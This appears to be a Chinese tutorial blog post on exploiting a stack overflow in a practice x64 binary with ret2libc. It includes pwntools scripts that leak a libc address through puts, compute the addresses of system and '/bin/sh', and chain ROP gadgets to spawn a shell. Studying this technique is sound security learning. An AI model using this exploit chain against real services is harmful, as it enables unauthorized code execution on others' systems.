栈溢出之ret2libc(x64)

栈溢出之ret2libc(x64)

首先对程序信息进行检查,发现其开启了nx保护

输入大量数字时程序报错

分析

使用IDA pro分析该程序,反汇编得到其伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 buf[4]; // [rsp+0h] [rbp-20h] BYREF

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("Pls Input");
buf[0] = 0LL;
buf[1] = 0LL;
buf[2] = 0LL;
buf[3] = 0LL;
read(0, buf, 0x100uLL);
return 0;
}

从伪代码中可以看到,buf数组大小为0x20,而read函数从buf中读取0x100的字符,明显存在栈溢出漏洞。由于采用了NX保护,无法直接写入shellcode,就想到去调用system函数地址进行命令执行,在程序中也不存在命令执行函数,所以使用ret2libc从libc中获取system函数和”/bin/sh”字符串

攻击

这里使用本地的libc库即可,使用libc.so.6本地库地址为**/lib/x86_64-linux-gnu/libc.so.6**

由于这是x64的程序,函数传参与x86不同,使用的是寄存器(rdi,rsi,rdx,rcx,r8,r9)传参,超过6个参数的其他参数入栈。所以接下来要去找rdi寄存器的地址和read_got的地址,然后调用puts函数打印出read函数的地址,然后跳转到main函数继续构造栈溢出。下面我们去找rdi的地址,read_got的地址,puts_plt的地址和main函数的地址

使用ROPgadget工具寻找地址为0x00401293

read、puts和main函数的地址都可以使用ELF对象下的方法进行获取,如下

1
2
3
4
elf = ELF("./ret2libc_64")
puts_plt = elf.plt['puts']
read_got = elf.got['read']
start_addr = elf.symbols['_start']

但我们可以从IDA中的plt表和.got.plt表去寻找对应的地址,如下puts的plt地址为0x00401060

read的got地址为0x03368

main的地址为0x00401176

得到上面三个地址后,可以使用ROP去输出read在libc中地址,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("ret2libc")
pop_rdi_ret_addr = 0x401293
read_got = 0x403368
puts_plt = 0x401060
main_addr = 0x401176
offset = 40
payload = b"a" * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(main_addr)
#attach(p,"b *0x40121e")
p.recvuntil("Pls Input")
#pause()
p.send(payload)
read_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) #read函数的真实地址,由于真实地址总是从7f开始,故从7f开始接收,长度补足8个字节
print("read_real_addr: ", hex(read_real_addr))

运行成功后可以看到其真实地址

多次运行后地址不一样,但是地址后三位是一样的。在获取read的真实地址后就去找system的真实地址,根据read的真实地址和在libc中的地址差来推断出system的真实地址,运算如下

1
2
system_addr = read_real_addr - libc.sym["read"]+libc.sym["system"]
binsh_addr = read_real_addr - libc.sym["read"]+next(libc.search(b"/bin/sh"))

完整代码如下,这里注意的是需要添加栈平衡

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("ret2libc_64")
pop_rdi_ret_addr = 0x401293
read_got = 0x403368
puts_plt = 0x401060
main_addr = 0x401176
offset = 40
payload = b"a" * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(main_addr)
#attach(p,"b *0x40121e")
p.recvuntil("Pls Input")
#pause()
p.send(payload)
read_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print("read_real_addr: ", hex(read_real_addr))
libc_base = read_real_addr - libc.sym["read"]
print("libc_base: ", hex(libc_base))
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
print("system_addr:{}".format(hex(system_addr)))
print("binsh_addr:{}".format(hex(binsh_addr)))
payload = b"a" * offset
payload += p64(0x40101a) #需要添加一个ret,仅仅用于栈平衡
payload += p64(pop_rdi_ret_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.recvuntil("Pls Input")
p.send(payload)
p.interactive()

运行成功执行系统命令,如下

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信